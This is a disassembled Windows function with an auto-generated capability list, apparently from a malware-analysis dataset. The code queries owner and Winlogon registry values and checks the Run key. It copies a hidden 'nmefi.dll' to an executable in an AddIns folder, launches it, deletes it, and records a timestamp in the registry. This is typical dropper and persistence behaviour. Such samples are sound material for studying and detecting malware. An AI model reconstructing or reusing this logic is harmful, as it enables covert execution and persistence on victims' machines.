Function at 0x4011f0
Capabilities:
Copy file
Create process on windows
Delete file
Get common file path
Persist via run registry key
Query or enumerate registry value
Resolve function by parsing pe exports
Set registry value

Disassembly:
push 0xffffffffffffffff
push 0x405bf6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1a8
push ebx
push ebp
push esi
push edi
mov edi, ecx
mov dword [esp + 0x40], edi
call fcn.00404290
mov ecx, edi
call fcn.00403fe0
mov eax, dword [edi + 0xc]
xor ebp, ebp
cmp eax, ebp
je 0x40128c
lea eax, [esp + 0x1c]
push eax
push 0x20019
push ebp
push str.SOFTWAREMicrosoftWindows_NTCurrentVersion
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, ebp
jne 0x4012f6
lea ecx, [esp + 0x10]
lea esi, [edi + 0x20]
push ecx
push 0x104
mov ecx, esi
mov dword [esp + 0x18], 0x104
call sub.MFC42.DLL_CString::GetBuffer
mov edx, dword [esp + 0x20]
push eax
push ebp
push ebp
push str.RegisteredOwner
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push 0xffffffffffffffff
mov ecx, esi
call sub.MFC42.DLL_CString::ReleaseBuffer
mov eax, dword [esp + 0x1c]
push eax
jmp 0x4012f0
lea ecx, [esp + 0x1c]
push ecx
push 0xf003f
push ebp
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, ebp
jne 0x4012d2
mov ecx, dword [esp + 0x1c]
lea edx, [esp + 0x10]
lea eax, [esp + 0xb4]
push edx
push eax
push ebp
push ebp
push str.AltDefaultUserName
push ecx
mov dword [esp + 0x28], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea edx, [esp + 0xb4]
lea eax, [edi + 0x20]
push edx
push 0x409174
push eax
call sub.MFC42.DLL_CString::Format
mov ecx, dword [esp + 0x28]
add esp, 0xc
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea esi, [edi + 0x24]
push 0x100
push 0x100
mov ecx, esi
call sub.MFC42.DLL_CString::GetBuffer
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
or ebx, 0xffffffff
mov ecx, esi
push ebx
call sub.MFC42.DLL_CString::ReleaseBuffer
push 0x5c
mov ecx, esi
call sub.MFC42.DLL_CString::ReverseFind
lea edx, [esp + 0x10]
push eax
push edx
mov ecx, esi
call sub.MFC42.DLL_CString::Left
push eax
mov ecx, esi
mov dword [esp + 0x1c4], ebp
call sub.MFC42.DLL_CString::operator_1
lea ecx, [esp + 0x10]
mov dword [esp + 0x1c0], ebx
call sub.MFC42.DLL_CString::CString
push str.Program_FilesInternet_Explorer_
lea eax, [esp + 0x14]
push esi
push eax
call sub.MFC42.DLL_operator_2
push eax
lea ecx, [edi + 0x14]
mov dword [esp + 0x1c4], 1
call sub.MFC42.DLL_CString::operator_1
lea ecx, [esp + 0x10]
mov dword [esp + 0x1c0], ebx
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x2c]
call sub.MFC42.DLL_CString::CString_2
lea ecx, [esp + 0x1c]
mov dword [esp + 0x1c0], 2
push ecx
push 0xf003f
push ebp
push str.SOFTWAREMicrosoftCryptography
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, ebp
jne 0x4013df
mov ecx, dword [esp + 0x1c]
lea edx, [esp + 0x10]
lea eax, [esp + 0xb4]
push edx
push eax
push ebp
push ebp
push str.FilePath
push ecx
mov dword [esp + 0x28], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea edx, [esp + 0xb4]
lea eax, [esp + 0x2c]
push edx
push 0x409174
push eax
call sub.MFC42.DLL_CString::Format
mov ecx, dword [esp + 0x28]
add esp, 0xc
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [esp + 0x48]
call fcn.0040584c
mov edx, dword [esp + 0x50]
push str.Rainmeter.exe
push edx
lea ecx, [esp + 0x50]
mov byte [esp + 0x1c8], 3
call sub.MFC42.DLL_CStringArray::SetAtGrow_1
lea ecx, [esp + 0x5c]
mov dword [esp + 0x20], ebp
call fcn.004057c2
mov eax, dword [esp + 0x50]
xor edi, edi
cmp eax, ebp
mov byte [esp + 0x1c0], 4
jle 0x4014d4
push 0x5c
lea ecx, [esp + 0x30]
call sub.MFC42.DLL_CString::ReverseFind
inc eax
lea ecx, [esp + 0x2c]
push eax
lea eax, [esp + 0x2c]
push eax
call sub.MFC42.DLL_CString::Left
mov ecx, dword [esp + 0x4c]
mov byte [esp + 0x1c0], 5
lea edx, [ecx + edi*4]
push edx
push eax
lea eax, [esp + 0x18]
push eax
call sub.MFC42.DLL_operator_1
mov eax, dword [eax]
push ebp
push eax
lea ecx, [esp + 0x64]
mov byte [esp + 0x1c8], 6
call sub.MFC42.DLL_CFileFind::FindFile
test eax, eax
lea ecx, [esp + 0x10]
mov byte [esp + 0x1c0], 5
sete bl
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x28]
mov byte [esp + 0x1c0], 4
call sub.MFC42.DLL_CString::CString
test bl, bl
jne 0x4014cc
mov eax, dword [esp + 0x50]
inc edi
cmp edi, eax
jl 0x40144b
jmp 0x4014d4
mov dword [esp + 0x20], 1
mov dword [esp + 0x28], ebp
lea ecx, [esp + 0x10]
mov byte [esp + 0x1c0], 7
push ecx
push 0xf003f
push ebp
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push 0x80000002
mov dword [esp + 0x24], ebp
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, ebp
jne 0x40150b
mov edx, dword [esp + 0x10]
mov dword [esp + 0x28], edx
lea ecx, [esp + 0x30]
mov dword [esp + 0x3c], 0x104
call sub.MFC42.DLL_CString::CString_2
push 0x104
lea ecx, [esp + 0x34]
mov byte [esp + 0x1c4], 8
call sub.MFC42.DLL_CString::GetBuffer
lea ecx, [esp + 0x3c]
lea edx, [esp + 0x10]
push ecx
push eax
mov eax, dword [esp + 0x30]
push edx
push ebp
push 0x4090d8
push eax
mov dword [esp + 0x28], ebp
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push 0xffffffffffffffff
lea ecx, [esp + 0x34]
call sub.MFC42.DLL_CString::ReleaseBuffer
lea ecx, [esp + 0x2c]
call sub.MFC42.DLL_CString::MakeLower
lea ecx, [esp + 0x30]
call sub.MFC42.DLL_CString::MakeLower
push 0x5c
lea ecx, [esp + 0x30]
call sub.MFC42.DLL_CString::ReverseFind
inc eax
lea ecx, [esp + 0x10]
push eax
push ecx
lea ecx, [esp + 0x34]
call sub.MFC42.DLL_CString::Left
mov eax, dword [eax]
lea ecx, [esp + 0x30]
push eax
mov byte [esp + 0x1c4], 9
call sub.MFC42.DLL_CString::Find
cmp eax, 0xffffffff
lea ecx, [esp + 0x10]
setne bl
mov byte [esp + 0x1c0], 8
call sub.MFC42.DLL_CString::CString
test bl, bl
mov edi, 1
jne 0x4015c2
mov edi, dword [esp + 0x20]
mov eax, dword [esp + 0x28]
cmp eax, ebp
je 0x4015d5
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [esp + 0x28], ebp
cmp edi, ebp
je 0x4018ba
push esi
lea ecx, [esp + 0x1c]
call sub.MFC42.DLL_CString::CString_1
mov esi, dword [esp + 0x40]
mov byte [esp + 0x1c0], 0xa
cmp dword [esi + 0xc], ebp
je 0x40161a
push str.Users_
lea ecx, [esp + 0x1c]
call fcn.00405828
add esi, 0x20
lea ecx, [esp + 0x18]
push esi
call fcn.00405822
push str.AppDataRoamingMicrosoftAddIns_
jmp 0x40163a
push str.Documents_and_Settings_
lea ecx, [esp + 0x1c]
call fcn.00405828
add esi, 0x20
lea ecx, [esp + 0x18]
push esi
call fcn.00405822
push str.Application_DataMicrosoftAddIns_
lea ecx, [esp + 0x1c]
call fcn.00405828
lea edx, [esp + 0x18]
push str.nmefi.dll
lea eax, [esp + 0x14]
push edx
push eax
call sub.MFC42.DLL_operator_2
mov eax, dword [eax]
push ebp
push eax
lea ecx, [esp + 0x64]
mov byte [esp + 0x1c8], 0xb
call sub.MFC42.DLL_CFileFind::FindFile
lea ecx, [esp + 0x10]
mov esi, eax
mov byte [esp + 0x1c0], 0xa
call sub.MFC42.DLL_CString::CString
cmp esi, ebp
je 0x4018a9
lea ecx, [esp + 0x18]
push str.nmefi.exe
lea edx, [esp + 0x14]
push ecx
push edx
call sub.MFC42.DLL_operator_2
mov eax, dword [eax]
push ebp
push eax
lea ecx, [esp + 0x64]
mov byte [esp + 0x1c8], 0xc
call sub.MFC42.DLL_CFileFind::FindFile
test eax, eax
lea ecx, [esp + 0x10]
mov byte [esp + 0x1c0], 0xa
sete bl
call sub.MFC42.DLL_CString::CString
test bl, bl
je 0x40176e
mov edi, dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [esp + 0x18]
push str.nmefi.exe
lea ecx, [esp + 0x18]
push eax
push ecx
call sub.MFC42.DLL_operator_2
mov esi, dword [eax]
lea edx, [esp + 0x18]
push str.nmefi.dll
lea eax, [esp + 0x38]
push edx
push eax
mov byte [esp + 0x1cc], 0xd
call sub.MFC42.DLL_operator_2
mov eax, dword [eax]
push ebp
push esi
push eax
call edi
lea ecx, [esp + 0x34]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x14]
mov byte [esp + 0x1c0], 0xa
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x18]
push str.nmefi.exe
lea edx, [esp + 0x14]
push ecx
push edx
call sub.MFC42.DLL_operator_2
mov eax, dword [eax]
push ebp
push eax
lea ecx, [esp + 0x64]
mov byte [esp + 0x1c8], 0xc
call sub.MFC42.DLL_CFileFind::FindFile
test eax, eax
lea ecx, [esp + 0x10]
mov byte [esp + 0x1c0], 0xa
sete bl
call sub.MFC42.DLL_CString::CString
test bl, bl
jne 0x4016d4
lea ecx, [esp + 0x20]
call sub.MFC42.DLL_CString::CString_2
mov esi, dword [esp + 0x18]
push 0x100
push 0x100
lea ecx, [esp + 0x28]
mov byte [esp + 0x1c8], 0xe
call sub.MFC42.DLL_CString::GetBuffer
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push 0xffffffffffffffff
lea ecx, [esp + 0x24]
call sub.MFC42.DLL_CString::ReleaseBuffer
push str.nmefi.exe
lea ecx, [esp + 0x24]
call fcn.00405828
mov ecx, 0xe
xor eax, eax
lea edi, [esp + 0x7c]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x20]
lea ecx, [esp + 0x78]
push ecx
mov dword [esp + 0x7c], 0x3c
mov dword [esp + 0x80], 0x40
mov dword [esp + 0x84], ebp
mov dword [esp + 0x88], ebp
mov dword [esp + 0x8c], eax
mov dword [esp + 0x90], 0x409050
mov dword [esp + 0x94], ebp
mov dword [esp + 0x98], ebp
mov dword [esp + 0x9c], ebp
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
mov edx, dword [esp + 0xb0]
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [esp + 0x18]
push str.nmefi.exe
lea ecx, [esp + 0x18]
push eax
push ecx
call sub.MFC42.DLL_operator_2
mov eax, dword [eax]
push ebp
push eax
lea ecx, [esp + 0x64]
mov byte [esp + 0x1c8], 0xf
call sub.MFC42.DLL_CFileFind::FindFile
test eax, eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x1c0], 0xe
sete bl
call sub.MFC42.DLL_CString::CString
test bl, bl
jne 0x401898
lea edx, [esp + 0x18]
push str.nmefi.exe
lea eax, [esp + 0x38]
push edx
push eax
call sub.MFC42.DLL_operator_2
mov ecx, dword [eax]
push ecx
call esi
lea ecx, [esp + 0x34]
call sub.MFC42.DLL_CString::CString
jmp 0x401831
lea ecx, [esp + 0x20]
mov byte [esp + 0x1c0], 0xa
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x18]
mov byte [esp + 0x1c0], 8
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x24]
mov dword [esp + 0x44], 1
call sub.MFC42.DLL_CString::CString_2
lea edx, [esp + 0x1c]
mov bl, 0x10
push edx
push 0xf003f
push ebp
push str.SOFTWAREMicrosoftCryptography
push 0x80000002
mov byte [esp + 0x1d4], bl
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, ebp
jne 0x4019f5
lea eax, [esp + 0x3c]
lea ecx, [esp + 0x24]
push eax
push 0x100
call sub.MFC42.DLL_CString::GetBuffer
mov edx, dword [esp + 0x20]
lea ecx, [esp + 0x48]
push eax
push ecx
push ebp
push str.javea
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
cmp eax, ebp
jne 0x401a97
push 0xffffffffffffffff
lea ecx, [esp + 0x28]
call sub.MFC42.DLL_CString::ReleaseBuffer
push 4
lea eax, [esp + 0x18]
push ebp
push eax
lea ecx, [esp + 0x30]
call sub.MFC42.DLL_CString::Mid
mov eax, dword [eax]
mov esi, dword [sym.imp.MSVCRT.dll_atoi]
push eax
call esi
add esp, 4
lea ecx, [esp + 0x14]
mov edi, eax
call sub.MFC42.DLL_CString::CString
push 7
lea ecx, [esp + 0x18]
push 5
push ecx
lea ecx, [esp + 0x30]
call sub.MFC42.DLL_CString::Mid
mov eax, dword [eax]
push eax
call esi
add esp, 4
lea ecx, [esp + 0x14]
mov ebx, eax
call sub.MFC42.DLL_CString::CString
push 0xa
lea edx, [esp + 0x18]
push 8
push edx
lea ecx, [esp + 0x30]
call sub.MFC42.DLL_CString::Mid
mov eax, dword [eax]
push eax
call esi
add esp, 4
lea ecx, [esp + 0x14]
mov esi, eax
call sub.MFC42.DLL_CString::CString
push 0xffffffffffffffff
push ebp
push ebp
push ebp
push esi
push ebx
push edi
lea ecx, [esp + 0x50]
call sub.MFC42.DLL_CTime::CTime
lea eax, [esp + 0x14]
push eax
call sub.MFC42.DLL_CTime::GetTickCount
mov ecx, dword [eax]
mov edx, dword [esp + 0x34]
push ecx
mov dword [esp + 0x3c], ecx
mov eax, esp
lea ecx, [esp + 0x3c]
mov dword [esp + 0x18], esp
mov dword [eax], edx
call fcn.00401b30
cmp eax, ebp
je 0x401a97
mov ecx, dword [esp + 0x40]
call fcn.00401b40
jmp 0x401a97
lea eax, [esp + 0x1c]
push ebp
push eax
push ebp
push 0xf003f
push ebp
push ebp
push ebp
push str.SOFTWAREMicrosoftCryptography
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
lea ecx, [esp + 0x14]
push ecx
call sub.MFC42.DLL_CTime::GetTickCount
mov edx, dword [eax]
push ecx
mov eax, esp
mov dword [esp + 0x3c], edx
lea ecx, [esp + 0x3c]
mov dword [esp + 0x18], esp
mov dword [eax], 0x13c680
call fcn.00401b20
lea eax, [esp + 0x14]
push str._Y__m__d__H:_M:_S
push eax
lea ecx, [esp + 0x40]
call sub.MFC42.DLL_CTime::Format
push eax
lea ecx, [esp + 0x28]
mov byte [esp + 0x1c4], 0x11
call sub.MFC42.DLL_CString::operator_1
lea ecx, [esp + 0x14]
mov byte [esp + 0x1c0], bl
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x24]
mov edx, dword [esp + 0x1c]
push 0x100
push ecx
push 1
push ebp
push str.javea
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [esp + 0x1c]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [esp + 0x24]
mov byte [esp + 0x1c0], 8
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0x30]
mov byte [esp + 0x1c0], 7
call sub.MFC42.DLL_CString::CString
mov eax, dword [esp + 0x28]
cmp eax, ebp
je 0x401ac8
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [esp + 0x5c]
mov byte [esp + 0x1c0], 3
call sub.MFC42.DLL_CFileFind::CFileFind
lea ecx, [esp + 0x48]
mov byte [esp + 0x1c0], 2
call sub.MFC42.DLL_CStringArray::CStringArray
lea ecx, [esp + 0x2c]
mov dword [esp + 0x1c0], 0xffffffff
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x1b8]
pop edi
pop esi
pop ebp
mov eax, 1
mov dword fs:[0], ecx
pop ebx
add esp, 0x1b4
ret